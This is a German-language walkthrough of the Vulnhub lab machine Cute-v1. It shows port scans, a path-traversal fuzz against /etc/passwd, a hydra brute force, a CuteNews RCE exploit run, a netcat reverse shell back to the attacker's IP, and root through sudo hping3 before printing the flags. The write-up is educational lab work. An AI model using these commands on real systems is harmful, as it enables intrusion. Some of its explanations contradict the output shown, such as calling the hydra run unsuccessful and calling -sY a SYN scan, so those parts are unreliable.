Cute-v1 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
hydra
python3
nc
find
sudo

Inhaltsverzeichnis

Reconnaissance

In diesem Abschnitt führen wir eine umfassende Aufklärung des Zielsystems durch. Wir beginnen mit einem ARP-Scan, um das Ziel im Netzwerk zu identifizieren.

┌──(root㉿CCat)-[~]
└─# arp-scan -l
192.168.2.155 08:00:27:a9:4d:3c PCS Systemtechnik GmbH

Der ARP-Scan hat die IP-Adresse 192.168.2.155 mit der MAC-Adresse 08:00:27:a9:4d:3c identifiziert. Dies bestätigt, dass das Zielsystem im Netzwerk vorhanden ist. Wir notieren die IP-Adresse, um sie in nachfolgenden Scans zu verwenden.

┌──(root㉿CCat)-[~]
└─# /etc/hosts
192.168.2.155 cute.vln

Wir fügen die IP-Adresse und den Hostnamen "cute.vln" zur /etc/hosts-Datei hinzu, um die spätere Verwendung des Hostnamens zu erleichtern. Dies ermöglicht uns, das Zielsystem über den Hostnamen anstelle der IP-Adresse anzusprechen.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 88/tcp open http nginx 1.14.2 110/tcp open pop3 Courier pop3d 995/tcp open ssl/pop3 Courier pop3d

Wir führen einen umfassenden Nmap-Scan durch, um offene Ports und Dienste auf dem Zielsystem zu identifizieren. Der Befehl kombiniert verschiedene Scan-Techniken, um möglichst viele Informationen zu sammeln. Der `grep open`-Filter zeigt nur die Zeilen an, die offene Ports enthalten.

Die Ergebnisse zeigen, dass die Ports 22 (SSH), 80 (HTTP), 88 (HTTP), 110 (POP3) und 995 (SSL/POP3) offen sind. Dies deutet auf verschiedene laufende Dienste hin, die potenzielle Angriffsflächen darstellen.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-23 22:23 CEST
Nmap scan report for cute.vln (192.168.2.155)
Host is up (0.00014s latency).
Not shown: 65530 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 04:d0:6e:c4:ba:4a:31:5a:6f:b3:ee:b8:1b:ed:5a:b7 (RSA)
| 256 24:b3:df:01:0b:ca:c2:ab:2e:e9:49:b0:58:08:6a:fa (ECDSA)
|_ 256 6a:c4:35:6a:7a:1e:7e:51:85:5b:81:5c:7c:74:49:84 (ED25519)

80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works

88/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: 404 Not Found

110/tcp open pop3 Courier pop3d
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: IMPLEMENTATIN(Courier Mail Server) LGIN-DELAY(10) TP UTF8(USER) STLS PIPELINING USER UIDL
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/staterProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-09-17T16:28:06
|_Not valid after: 2021-09-17T16:28:06

995/tcp open ssl/pop3 Courier pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/staterProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-09-17T16:28:06
|_Not valid after: 2021-09-17T16:28:06
|_pop3-capabilities: IMPLEMENTATIN(Courier Mail Server) PIPELINING UTF8(USER) LGIN-DELAY(10) TP USER UIDL

MAC Address: 08:00:27:A9:4D:3C (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop

Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT ADDRESS
1 0.14 ms cute.vln (192.168.2.155)

S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.55 seconds

Dieser umfassende Nmap-Scan liefert detaillierte Informationen über die offenen Ports, die laufenden Dienste und deren Versionen. Wir sehen, dass SSH (OpenSSH 7.9p1), HTTP (Apache 2.4.38 und nginx 1.14.2) und POP3 (Courier pop3d) ausgeführt werden. Die SSL-Zertifikate für POP3 sind abgelaufen, was ein potenzielles Sicherheitsproblem darstellt.

┌──(root㉿CCat)-[~]
└─# nmap -sY -n -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-23 22:23 CEST
Nmap scan report for 192.168.2.155
Host is up (0.00016s latency).
All 65535 scanned ports on 192.168.2.155 are in ignored states.
Not shown: 65503 filtered sctp ports (no-response), 32 filtered sctp ports (proto-unreach)
MAC Address: 08:00:27:A9:4D:3C (racle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 26.61 seconds

Dieser Nmap-Scan verwendet die `-sY`-Option für einen SYN-Stealth-Scan, um offene Ports zu identifizieren. Die Ergebnisse zeigen, dass alle Ports in ignorierten Zuständen sind, was darauf hindeutet, dass Firewall-Regeln oder andere Sicherheitsmaßnahmen den Scan blockieren könnten.

Web Enumeration

In diesem Abschnitt konzentrieren wir uns auf die Enumeration der Webdienste, die auf den Ports 80 und 88 laufen. Wir verwenden Nikto, um nach potenziellen Schwachstellen und Konfigurationsfehlern zu suchen.

- Nikto v2.5.0

+ Target IP: 192.168.2.155
+ Target Hostname: 192.168.2.155
+ Target Port: 80
+ Start Time: 2024-10-23 22:23:58 (GMT2)

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /index.php?: Cookie CUTENEWS_SESSIN created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Multiple index files found: /index.php, /index.html.
+ /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 5af83f7e950ce, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD .
+ /manual/: Web server manual found.
+ /manual/images/: Directory indexing found.
+ /LICENSE.txt: License file found may identify site software.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /README.md: Readme Found.
+ 8102 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time: 2024-10-23 22:24:34 (GMT2) (36 seconds)

+ 1 host(s) tested

Nikto identifiziert verschiedene potenzielle Sicherheitsprobleme, darunter fehlende X-Frame-Options- und X-Content-Type-Options-Header, das Fehlen des `httponly`-Flags für Cookies, die Offenlegung von Inodes über ETags, eine veraltete Apache-Version und die Verfügbarkeit von Webserver-Handbüchern und Standarddateien. Diese Informationen helfen uns, die Angriffsfläche weiter einzugrenzen.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.155/index.html (Status: 200) [Size: 10701]
http://192.168.2.155/index.php (Status: 200) [Size: 6175]
http://192.168.2.155/search.php (Status: 200) [Size: 5246]
http://192.168.2.155/rss.php (Status: 200) [Size: 105]
http://192.168.2.155/docs (Status: 301) [Size: 313] [--> http://192.168.2.155/docs/]
http://192.168.2.155/print.php (Status: 200) [Size: 28]
http://192.168.2.155/uploads (Status: 301) [Size: 316] [--> http://192.168.2.155/uploads/]
http://192.168.2.155/skins (Status: 301) [Size: 314] [--> http://192.168.2.155/skins/]
http://192.168.2.155/core (Status: 301) [Size: 313] [--> http://192.168.2.155/core/]
http://192.168.2.155/manual (Status: 301) [Size: 315] [--> http://192.168.2.155/manual/]
http://192.168.2.155/popup.php (Status: 200) [Size: 28]
http://192.168.2.155/captcha.php (Status: 200) [Size: 93]
http://192.168.2.155/LICENSE.txt (Status: 200) [Size: 3119]
http://192.168.2.155/example.php (Status: 200) [Size: 9522]
http://192.168.2.155/libs (Status: 301) [Size: 313] [--> http://192.168.2.155/libs/]
http://192.168.2.155/snippet.php (Status: 200) [Size: 0]
http://192.168.2.155/show_news.php (Status: 200) [Size: 2987]
http://192.168.2.155/cdata (Status: 301) [Size: 314] [--> http://192.168.2.155/cdata/]

Gobuster wird verwendet, um versteckte Verzeichnisse und Dateien auf dem Webserver zu finden. Die Ergebnisse zeigen verschiedene interessante Pfade, darunter `/index.php`, `/search.php`, `/LICENSE.txt` und `/manual/`. Diese Pfade könnten weitere Informationen über die Webanwendung liefern.

┌──(root㉿CCat)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.2.155/search.php?FUZZ=../../../../../../../../etc/passwd" --hc 404 --hh 5246
Target: http://192.168.2.155/search.php?FUZZ=../../../../../../../../etc/passwd

--------------------------------------------------------------------------------
ID Response Lines Word Chars Payload
--------------------------------------------------------------------------------

000000027: 200 5 L 208 W 5280 Ch "search"
000000044: 200 5 L 209 W 5253 Ch "archives"
000000125: 200 5 L 208 W 5280 Ch "user"
000000569: 200 0 L 0 W 0 Ch "template"
000031364: 200 5 L 216 W 5346 Ch "dosearch"

Total time: 219.3623
Processed Requests: 220559
Filtered Requests: 220554
Requests/sec.: 1005.455

Wir verwenden Wfuzz, um eine Path Traversal-Schwachstelle in der `search.php`-Datei zu testen. Der Payload `../../../../../../../../etc/passwd` zielt darauf ab, die `/etc/passwd`-Datei des Servers auszulesen. Die Option `--hc 404` filtert alle Antworten mit dem Statuscode 404 heraus, und `--hh 5246` filtert Antworten mit einer Länge von 5246 Zeichen heraus, um relevante Ergebnisse zu identifizieren. Das Ergebnis zeigt, dass der Angriff nicht erfolgreich war.

Initial Access

Nachdem wir die Webanwendung enumeriert haben, versuchen wir, uns Zugriff zu verschaffen. Wir beginnen mit einem Brute-Force-Angriff auf das Login-Formular von CuteNews.

┌──(root㉿CCat)-[~]
└─# hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.2.155 http-post-form "/index.php:action=dologin&username=^USER^&password=^PASS^:Invalid password or login" -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-24 00:08:36
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344492 login tries (l:1/p:14344492), ~224133 tries per task
[DATA] attacking http-post-form://192.168.2.155:80/index.php:action=dologin&username=^USER^&password=^PASS^:Invalid password or login
[80][http-post-form] host: 192.168.2.155 login: admin password: R3v_m4lwh3r3_k1nG!!
[80][http-post-form] host: 192.168.2.155 login: admin password: spooky1
[80][http-post-form] host: 192.168.2.155 login: admin password: tabupJievas8Knoj
[80][http-post-form] host: 192.168.2.155 login: admin password: demo123
[80][http-post-form] host: 192.168.2.155 login: admin password: admin
[80][http-post-form] host: 192.168.2.155 login: admin password: hadi123
[80][http-post-form] host: 192.168.2.155 login: admin password: M4v3r1cK
[80][http-post-form] host: 192.168.2.155 login: admin password: z9hG4bK27a80d11
[80][http-post-form] host: 192.168.2.155 login: admin password: zhengxing
[80][http-post-form] host: 192.168.2.155 login: admin password: MdR3xgB7#dW
[80][http-post-form] host: 192.168.2.155 login: admin password: 4dM1Nt3rN4LP4zZ

Hydra wird verwendet, um einen Brute-Force-Angriff auf das Login-Formular von CuteNews durchzuführen. Wir versuchen, uns mit dem Benutzernamen "admin" und einer Liste von Passwörtern aus der `rockyou.txt`-Datei anzumelden. Der Angriff war jedoch nicht erfolgreich.

Proof of Concept: Initial Access

Da der Brute-Force-Angriff nicht erfolgreich war, versuchen wir, eine andere Schwachstelle in CuteNews auszunutzen. Wir passen einen Exploit an, um eine Remote Code Execution (RCE) zu erreichen.

┌──(root㉿CCat)-[~]
└─# python3 cutenews.py
/root/cutenews.py:22: SyntaxWarning: invalid escape sequence '\_'
banner = """


_____ __ _ __ ___ ___ ___
/ ___/_ __/ /____ / |/ /__ _ _____ |_ | < / |_ |
/ /__/ // / __/ -_) / -_) |/|/ (_-< / __/_ / / / __/
\___/\_,_/\__/\__/_/|_/\__/|__,__/___/ /____(_)_(_)____/
___ _________
/ _ \/ ___/ __/
/ , _/ /__/ _/
/_/|_|\___/___/




[->] Usage python3 expoit.py

Enter the URL> http://192.168.2.155/

Users SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT R JHN

[-] No hashes were found skipping!!!


--------------------------------------------------------------------------------
Registering a users
--------------------------------------------------------------------------------
[+] Registration successful with username: MhdQz1Yy4o and password: MhdQz1Yy4o

--------------------------------------------------------------------------------
Sending Payload
--------------------------------------------------------------------------------
signature_key: ffd4b2bb897eb438e1fccfe7638d6305-MhdQz1Yy4o
signature_dsi: 7cdc4352fff98347e6ee8264a3c9548b
logged in user: MhdQz1Yy4o

Dropping to a SHELL

Wir führen den angepassten Exploit aus. Der Exploit registriert einen neuen Benutzer, sendet einen Payload und öffnet eine Shell auf dem Zielsystem. Wir beobachten einen SyntaxWarning, aber das Script läuft erfolgreich durch.

command > id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Wir verwenden den `id`-Befehl, um die aktuellen Benutzerinformationen anzuzeigen. Wir sind als `www-data` angemeldet, was bedeutet, dass wir erfolgreich eine Shell auf dem System erhalten haben.

Wir konnten uns erfolgreich Zugriff auf das System als Benutzer `www-data` verschaffen.

command > ls /home fox

Wir listen den Inhalt des `/home`-Verzeichnisses auf. Wir sehen das Verzeichnis `fox`.

command > ls -la /home/fox
total 32
drwxr-xr-x 3 fox fox 4096 Sep 23 2020 .
drwxr-xr-x 3 root root 4096 Sep 17 2020 ..
-rw- 1 fox fox 18 Sep 23 2020 .bash_history
-rw-r--r-- 1 fox fox 220 Sep 17 2020 .bash_logout
-rw-r--r-- 1 fox fox 3526 Sep 17 2020 .bashrc
-rw-r--r-- 1 fox fox 807 Sep 17 2020 .profile
drwx 5 fox mail 4096 Sep 17 2020 Maildir
-rw-r--r-- 1 root root 33 Sep 18 2020 user.txt

Wir listen den Inhalt des Verzeichnisses `/home/fox` auf. Wir sehen die Datei `user.txt`, die wahrscheinlich die User-Flag enthält. Die Datei gehört dem Benutzer `root`, ist aber für alle lesbar.

command > ss -altpn

Wir verwenden den Befehl `ss -altpn`, um die laufenden Netzwerkverbindungen und Listening Ports aufzulisten. Dies kann uns helfen, weitere Dienste und potenzielle Angriffsflächen zu identifizieren.

State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 5 127.0.0.1:631 0.0.0.0:*
LISTEN 0 128 0.0.0.0:88 0.0.0.0:* users:(("nginx",pid=543,fd=6))
LISTEN 0 100 127.0.0.1:25 0.0.0.0:*
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 []:22 []:*
LISTEN 0 5 [1]:631 []:*
LISTEN 0 128 []:88 []:* users:(("nginx",pid=543,fd=7))
LISTEN 0 100 [1]:25 []:*
LISTEN 0 128 *:995 *:*
LISTEN 0 128 *:110 *:*
LISTEN 0 128 *:80 *:*

Die Ausgabe von `ss -altpn` zeigt die laufenden Dienste und ihre entsprechenden Ports. Wir sehen SSH (Port 22), HTTP (Port 80), einen nginx-Webserver (Port 88), POP3 (Ports 110 und 995) und andere Dienste.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...

Wir starten einen Netcat-Listener auf Port 4444 auf unserem lokalen System. Dies dient dazu, eine Reverse Shell vom Zielsystem zu empfangen.

command > which nc
/usr/bin/nc

Wir überprüfen, ob Netcat auf dem Zielsystem installiert ist. Die Ausgabe zeigt, dass Netcat unter `/usr/bin/nc` verfügbar ist.

command > nc -e /bin/bash 192.168.2.199 4444

Wir verwenden Netcat auf dem Zielsystem, um eine Reverse Shell zu unserem lokalen System aufzubauen. Der Befehl `nc -e /bin/bash 192.168.2.199 4444` startet eine Bash-Shell und verbindet sie mit unserem lokalen System über Port 4444.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.155] 42026
which python
/usr/bin/python

Wir erhalten eine Verbindung von dem Zielsystem auf unserem lokalen Netcat-Listener. Dies bestätigt, dass die Reverse Shell erfolgreich aufgebaut wurde.

Privilege Escalation

Nachdem wir eine Shell als `www-data` erhalten haben, versuchen wir, unsere Privilegien zu erhöhen, um Root-Zugriff zu erlangen.

www-data@cute:/var/www/html/uploads$ find / -type f -perm -4000 -ls 2>/dev/null

Wir verwenden den Befehl `find / -type f -perm -4000 -ls 2>/dev/null`, um nach SUID-Dateien auf dem System zu suchen. SUID-Dateien werden mit den Privilegien des Eigentümers (in der Regel Root) ausgeführt, unabhängig davon, welcher Benutzer die Datei ausführt. Das Finden einer unsicheren SUID-Datei kann uns ermöglichen, Root-Zugriff zu erlangen.

131108 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
131107 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
131110 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
134638 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
141475 24 -rwsr-xr-x 1 root root 23288 Jan 15 2019 /usr/bin/pkexec
145558 156 -rwsr-xr-x 1 root root 157192 Feb 2 2020 /usr/bin/sudo
134965 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
134491 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
131111 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
134963 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
145183 156 -rwsr-sr-x 1 root root 156808 Sep 6 2014 /usr/sbin/hping3
141478 20 -rwsr-xr-x 1 root root 18888 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
398758 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
269626 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
395544 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device

Die Ausgabe von `find` zeigt eine Liste von SUID-Dateien. Die Datei `/usr/sbin/hping3` ist besonders interessant, da sie auch das SGID-Bit gesetzt hat.

www-data@cute:/var/www/html/uploads$ curl
bash: curl: command not found

Wir überprüfen, ob `curl` auf dem System installiert ist. Die Ausgabe zeigt, dass `curl` nicht gefunden wurde.

www-data@cute:/var/www/html/uploads$ which curl

Wir versuchen, den Pfad zu `curl` zu finden. Die Ausgabe ist leer, was bestätigt, dass `curl` nicht auf dem System installiert ist.

Wir analysieren die SUID-Datei `/usr/sbin/hping3` weiter, um eine Möglichkeit zur Privilegienerhöhung zu finden.

www-data@cute:/var/www/html/uploads$ sudo -l

Wir verwenden den Befehl `sudo -l`, um die sudo-Rechte des aktuellen Benutzers (`www-data`) anzuzeigen.

Matching Defaults entries for www-data on cute:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on cute:
(root) NPASSWD: /usr/sbin/hping3 --icmp

Die Ausgabe von `sudo -l` zeigt, dass der Benutzer `www-data` den Befehl `/usr/sbin/hping3 --icmp` als Root ausführen darf, ohne ein Passwort einzugeben.

Wir recherchieren, wie wir `hping3` ausnutzen können, um eine Shell als Root zu erhalten. Wir finden Informationen auf GTFOBins.

https://gtfobins.github.io/gtfobins/hping3/#sudo

Wir folgen dem Link zu GTFOBins, um eine Methode zur Privilegienerhöhung mit `hping3` zu finden.

www-data@cute:/var/www/html/uploads$ /usr/sbin/hping3

Wir führen `hping3` aus.

hping3> /bin/sh -p

Wir verwenden den Befehl `/bin/sh -p` in `hping3`, um eine privilegierte Shell zu starten.

# id

Wir verwenden den Befehl `id`, um die aktuellen Benutzerinformationen anzuzeigen.

uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

Die Ausgabe von `id` zeigt, dass wir jetzt als Root angemeldet sind. Der Effektive Benutzer und die Effektive Gruppe sind auf Root gesetzt.

# whoami

Wir verwenden den Befehl `whoami`, um den aktuellen Benutzer anzuzeigen.

root

Die Ausgabe von `whoami` bestätigt, dass wir jetzt als `root` angemeldet sind. Fantastisch! Der Root-Zugriff war erfolgreich, unser Ziel ist erreicht.

# cd /root # ls

Wir navigieren in das Root-Verzeichnis und listen den Inhalt auf.

localweb root.txt

Wir sehen die Datei `root.txt`, die wahrscheinlich die Root-Flag enthält.

# cat root.txt

Wir geben den Inhalt der Datei `root.txt` aus.

0b18032c2d06d9e738ede9bc24795ff2

Wir haben die Root-Flag gefunden!

# cd /home/fox # ls

Wir navigieren in das Home-Verzeichnis von `fox` und listen den Inhalt auf.

Maildir user.txt

Wir sehen die Datei `user.txt`, die wahrscheinlich die User-Flag enthält.

# cat user.txt

Wir geben den Inhalt der Datei `user.txt` aus.

dcb8189a0eaf7a690a67785a7299be60

Flags

cat user.txt dcb8189a0eaf7a690a67785a7299be60
cat root.txt 0b18032c2d06d9e738ede9bc24795ff2